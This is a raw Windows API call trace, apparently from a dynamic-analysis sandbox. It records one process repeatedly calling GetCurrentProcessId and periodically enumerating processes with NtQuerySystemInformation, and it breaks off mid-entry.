[0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0175.039] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1dcc0) returned 0x0 [0175.974] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1dd10) returned 0x0 [0176.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1dd60) returned 0x0 [0177.252] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1dd10) returned 0x0 [0177.276] GetCurrentProcessId () returned 0x10c0 [0177.276] GetCurrentProcessId () returned 0x10c0 [0177.276] GetCurrentProcessId () returned 0x10c0 [0177.276] GetCurrentProcessId () returned 0x10c0 [0177.276] GetCurrentProcessId () returned 0x10c0 [0177.276] GetCurrentProcessId () returned 0x10c0 [0177.276] GetCurrentProcessId () returned 0x10c0 [0177.276] GetCurrentProcessId () returned 0x10c0 [0177.276] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.299] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.300] GetCurrentProcessId () returned 0x10c0 [0177.910] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1dd60) returned 0x0 [0183.515] GetCurrentProcessId () returned 0x10c0 [0183.515] GetCurrentProcessId () returned 0x10c0 [0183.515] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.516] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.517] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.518] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0183.519] GetCurrentProcessId () returned 0x10c0 [0184.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1df90) returned 0x0 [0185.042] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e228) returned 0x0 [0185.752] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e278) returned 0x0 [0186.441] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e458) returned 0x0 [0187.108] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e4a8) returned 0x0 [0188.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e4f8) returned 0x0 [0188.872] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e548) returned 0x0 [0189.935] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e4f8) returned 0x0 [0190.632] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e4a8) returned 0x0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.639] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.640] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.641] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.642] GetCurrentProcessId () returned 0x10c0 [0190.643] GetCurrentProcessId () returned 0x10c0 [0190.643] GetCurrentProcessId () returned 0x10c0 [0190.643] GetCurrentProcessId () returned 0x10c0 [0190.643] GetCurrentProcessId () returned 0x10c0 [0191.398] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e4f8) returned 0x0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.413] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.414] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.415] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.416] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.417] GetCurrentProcessId () returned 0x10c0 [0191.419] GetCurrentProcessId () returned 0x10c0 [0191.419] GetCurrentProcessId () returned 0x10c0 [0191.419] GetCurrentProcessId () returned 0x10c0 [0191.419] GetCurrentProcessId () returned 0x10c0 [0192.112] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e4f8) returned 0x0 [0192.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e4a8) returned 0x0 [0193.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e4f8) returned 0x0 [0194.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1e3b8) returned 0x0 [0194.641] GetCurrentProcessId () returned 0x10c0 [0194.641] GetCurrentProcessId () returned 0x10c0 [0194.641] GetCurrentProcessId () returned 0x10c0 [0194.641] GetCurrentProcessId () returned 0x10c0 [0194.641] GetCurrentProcessId () returned 0x10c0 [0194.641] GetCurrentProcessId () returned 0x10c0 [0194.641] GetCurrentProcessId () returned 0x10c0 [0194.641] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.642] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.643] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 0x10c0 [0194.644] GetCurrentProcessId () returned 